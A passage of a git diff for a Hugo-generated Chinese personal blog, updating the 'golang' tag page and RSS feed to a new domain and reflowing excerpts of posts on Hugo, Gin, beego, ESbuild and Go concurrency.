51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="golang"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/golang/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="golang"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>golang</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
 https://github.com/gohugoio/hugo/releases
@@ -23,41 +23,21 @@
 如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本
 部署到github pages
 hugo –baseUrl=“http://chenjunlinabc.github.io/"
-如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://xiaochenabc123.github.io/posts/137/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
+如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://chenjunlinabc.github.io/posts/137/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
-import "github.com/gin-gonic/gin"
-import "net/http"
-func main() {
-g := gin.Default()
-g.GET("/", func(c *gin.Context) {
-c.String(http.StatusOK, "hallo word")
-})
-g.Run()
-}
-go run main.go
+package main import "github.com/gin-gonic/gin" import "net/http" func main() { g := gin.Default() g.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "hallo word") }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(":2333")
 路由
-r.GET("/test/:name", func(c *gin.Context) {
-name := c.Param("name")
-c.String(http.StatusOK, name)
-})
-g.Run(":6666")
-127.0.0.1:6666/test/xiaochen
+r.GET("/test/:name", func(c *gin.Context) { name := c.Param("name") c.String(http.StatusOK, name) }) g.Run(":6666") 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET("/test", func(c *gin.Context) {
-name := c.DefaultQuery("name", "test")
-c.String(http.StatusOK, fmt.Sprintf("hallo %s", name))
-})
-r.Run()
-127.0.0.1:6666/test
+r.GET("/test", func(c *gin.Context) { name := c.DefaultQuery("name", "test") c.String(http.StatusOK, fmt.Sprintf("hallo %s", name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
-index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://xiaochenabc123.github.io/posts/135/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
+index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://chenjunlinabc.github.io/posts/135/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
 go get github.com/beego/bee
@@ -81,20 +61,14 @@
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString("name")
-c.Data["Website"] = name
-访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString("name") c.Data["Website"] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = “index.tpl”，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&lt;div class="author">
-Official website:
-&lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> /
-Contact me:
-&lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://xiaochenabc123.github.io/posts/134/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
+&lt;div class="author"> Official website: &lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> / Contact me: &lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://chenjunlinabc.github.io/posts/134/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
 安装
@@ -111,24 +85,9 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
-import ReactDOM from 'react-dom'
-const App = () => {
-return (
-&lt;div>
-&lt;h1>Hallo, Esbuild!&lt;/h1>
-&lt;/div>
-)
-}
-ReactDOM.render(
-&lt;App />,
-document.getElementById("app")
-)
-index.html
-&lt;div id="app">&lt;/div>
-&lt;script src="./build/index.js">&lt;/script>
-我本地打包只花64ms就打包好了
-使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://xiaochenabc123.github.io/posts/132/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Golang进阶扩展笔记</h2></header><div class=entry-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( &lt;div> &lt;h1>Hallo, Esbuild!&lt;/h1> &lt;/div> ) } ReactDOM.render( &lt;App />, document.getElementById("app") ) index.html
+&lt;div id="app">&lt;/div> &lt;script src="./build/index.js">&lt;/script> 我本地打包只花64ms就打包好了
+使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://chenjunlinabc.github.io/posts/132/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Golang进阶扩展笔记</h2></header><div class=entry-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
 内核态：程序执行操作系统层级的程序时
@@ -165,7 +124,7 @@
 载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)
 存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)
 交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)
-比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)...</p></div><footer class=entry-footer><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://xiaochenabc123.github.io/posts/128/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://xiaochenabc123.github.io/tags/golang/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)...</p></div><footer class=entry-footer><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://chenjunlinabc.github.io/posts/128/></a></article><footer class=page-footer><nav class=pagination><a class=next href=https://chenjunlinabc.github.io/tags/golang/page/2/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/golang/index.xml b/tags/golang/index.xml
index 1fc3f0f8..0dee97c6 100644
--- a/tags/golang/index.xml
+++ b/tags/golang/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>golang on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/golang/</link>
+    <link>https://chenjunlinabc.github.io/tags/golang/</link>
     <description>Recent content in golang on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 22 Feb 2022 05:19:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/golang/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 22 Feb 2022 05:19:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/golang/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Hugo搭建网站</title>
-      <link>https://xiaochenabc123.github.io/posts/137/</link>
+      <link>https://chenjunlinabc.github.io/posts/137/</link>
       <pubDate>Tue, 22 Feb 2022 05:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/137/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/137/</guid>
       <description>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
@@ -48,21 +48,21 @@ hugo &amp;ndash;baseUrl=&amp;ldquo;http://chenjunlinabc.github.io/&amp;quot;
     
     <item>
       <title>Gin框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/135/</link>
+      <link>https://chenjunlinabc.github.io/posts/135/</link>
       <pubDate>Tue, 15 Feb 2022 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/135/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/135/</guid>
       <description>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
import &amp;quot;github.com/gin-gonic/gin&amp;quot;
import &amp;quot;net/http&amp;quot;
func main() {
g := gin.Default()
g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) {
c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;)
})
g.Run()
}
go run main.go
+package main import &amp;quot;github.com/gin-gonic/gin&amp;quot; import &amp;quot;net/http&amp;quot; func main() { g := gin.Default() g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) { c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;) }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(&amp;quot;:2333&amp;quot;)
 路由
-r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) {
name := c.Param(&amp;quot;name&amp;quot;)
c.String(http.StatusOK, name)
})
g.Run(&amp;quot;:6666&amp;quot;)
127.0.0.1:6666/test/xiaochen
+r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) { name := c.Param(&amp;quot;name&amp;quot;) c.String(http.StatusOK, name) }) g.Run(&amp;quot;:6666&amp;quot;) 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) {
name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;)
c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name))
})
r.Run()
127.0.0.1:6666/test
+r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) { name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;) c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
@@ -71,10 +71,10 @@ index.html main.go</description>
     
     <item>
       <title>beego应用框架的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/134/</link>
+      <link>https://chenjunlinabc.github.io/posts/134/</link>
       <pubDate>Sat, 12 Feb 2022 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/134/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/134/</guid>
       <description>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
@@ -99,22 +99,22 @@ bee generate
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString(&amp;quot;name&amp;quot;)
c.Data[&amp;quot;Website&amp;quot;] = name
访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString(&amp;quot;name&amp;quot;) c.Data[&amp;quot;Website&amp;quot;] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = &amp;ldquo;index.tpl&amp;rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt;
Official website:
&amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; /
Contact me:
&amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
+&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt; Official website: &amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; / Contact me: &amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
     </item>
     
     <item>
       <title>简单使用ESbuild打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/132/</link>
+      <link>https://chenjunlinabc.github.io/posts/132/</link>
       <pubDate>Mon, 07 Feb 2022 13:37:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/132/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/132/</guid>
       <description>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
@@ -132,17 +132,17 @@ npm run build
 或者
 yarn build
 例子（app.jsx）
-import React from &#39;react&#39;
import ReactDOM from &#39;react-dom&#39;
const App = () =&amp;gt; {
return (
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt;
&amp;lt;/div&amp;gt;
)
}
ReactDOM.render(
&amp;lt;App /&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
)
index.html
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
我本地打包只花64ms就打包好了
+import React from &#39;react&#39; import ReactDOM from &#39;react-dom&#39; const App = () =&amp;gt; { return ( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt; ) } ReactDOM.render( &amp;lt;App /&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ) index.html
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; 我本地打包只花64ms就打包好了
 使用source map功能</description>
     </item>
     
     <item>
       <title>Golang进阶扩展笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/128/</link>
+      <link>https://chenjunlinabc.github.io/posts/128/</link>
       <pubDate>Sun, 16 Jan 2022 09:08:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/128/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/128/</guid>
       <description>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
@@ -185,10 +185,10 @@ sync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了
     
     <item>
       <title>Golang学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/96/</link>
+      <link>https://chenjunlinabc.github.io/posts/96/</link>
       <pubDate>Thu, 09 Sep 2021 01:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/96/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/96/</guid>
       <description>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
@@ -204,7 +204,7 @@ GOBIN对应着 go install安装和编译的二进制程序的安装目录
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
import &amp;quot;fmt&amp;quot;
func main(){
fmt.Println(&amp;quot;hallo golang&amp;quot;)
}
go run hallo.go
+package main import &amp;quot;fmt&amp;quot; func main(){ fmt.Println(&amp;quot;hallo golang&amp;quot;) } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
diff --git a/tags/golang/page/1/index.html b/tags/golang/page/1/index.html
index fccf14a4..9b6cc8cd 100644
--- a/tags/golang/page/1/index.html
+++ b/tags/golang/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/golang/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/golang/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/golang/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/golang/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/golang/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/golang/"></head></html>
\ No newline at end of file
diff --git a/tags/golang/page/2/index.html b/tags/golang/page/2/index.html
index f01203b6..fde1ce9c 100644
--- a/tags/golang/page/2/index.html
+++ b/tags/golang/page/2/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>golang | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/golang/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/golang/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new 